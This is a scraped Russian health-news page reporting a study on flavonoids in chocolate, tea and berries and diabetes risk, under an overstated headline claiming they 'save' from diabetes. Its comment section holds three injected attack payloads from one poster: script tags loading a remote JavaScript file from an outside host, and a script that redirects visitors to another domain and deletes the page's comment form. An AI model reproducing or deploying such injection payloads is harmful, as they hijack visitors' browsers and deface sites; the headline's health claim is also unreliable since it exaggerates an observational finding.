Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Ого! Чай с шоколадкой и я...  >>  Ого! Чай с шоколадкой и ягодами спасет от диабета!
 
Обратная связь
 

Ого! Чай с шоколадкой и ягодами спасет от диабета!

Размер шрифта
20 ноября 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

По мнению ученых, включение шоколада, чая и ягод в ежедневный рацион питания, защищает от диабета и некоторых других заболеваний. Такой эффект достигается благодаря содержанию в этих продуктах биологически активных веществ – флаваноидов и антоцианинов.

Чай с шоколадкой и ягодами спасет от диабета

В исследование было включено более 2 000 женщин, каждой из которых были заданы вопросы о ее рационе питания. Также каждой участнице был проведен анализ на содержание сахара в крови и уровень воспаления. «Мы изучали влияние употребления в пищу определенных групп веществ – флавоноидов. Мы сфокусировались на флавонах, которые содержатся в петрушке, тимьяне, сельдерее, а также на антоцианинах, содержащихся в ягодах, красных гранатах, вине и других фруктах и овощах красного или синего цвета», – рассказывает ведущий автор исследования Эдин Кэссиди из Университета Восточной Англии. Результаты этой работы были опубликованы в Journal of Nutrition.

Ученые обнаружили, что употребление большого количества флавонов и антоцианинов приводит к улучшению регуляции уровня сахара крови, а также к снижению воспалительных реакций. Стоит отметить, что хроническое воспаление связано с сахарным диабетом, ожирением и заболеваниями сердечно-сосудистой системы.

«Мы провели первое крупное исследование того, как флавоны и антоцианины влияют на риск развития диабета», – заявляет Кэссиди. Более ранние работы позволили предположить, что эти биологически активные вещества могут действовать на уровень сахара крови, который связан с развитием диабета второго типа. Однако до сих пор оставалось неизвестным, какой эффект на уровень глюкозы оказывает регулярное употребление продуктов, богатых этими веществами.

«Наши данные говорят о том, что даже те продукты, которые мы привыкли исключать из здорового рациона питания, такие как вино и шоколад, могут приносить значительную пользу нашему организму», – добавляет Тим Спектор из Королевского Колледжа Лондона, соавтор работы.

Так что теперь мы точно можем побаловать себя ягодами, фруктами и шоколадом, тем самым оказав услугу своему организму. Главное – не переедать.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:29

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 21:28

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:25

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Горький шоколад полезен для сердца! Но все благодаря бактериям!   Шоколад сохранит вам ноги!   Чтобы худеть, надо есть. Что есть?   Выпил кофе – жить охота! Кофе снижает риск самоубийства!  
07 июня 2013Поможет ли зеленый чай похудеть? 01 ноября 2013ИНВИТРО – «Марка №1» в России
 
21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт» 11 октября 2013Елена Малышева расскажет все о том, как правильно худеть
 

Слайдшоу

1
Еда для красивой улыбки на фото
9 продуктов, которые сделают вас худой в Новом году
Супереда для метаболизма

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.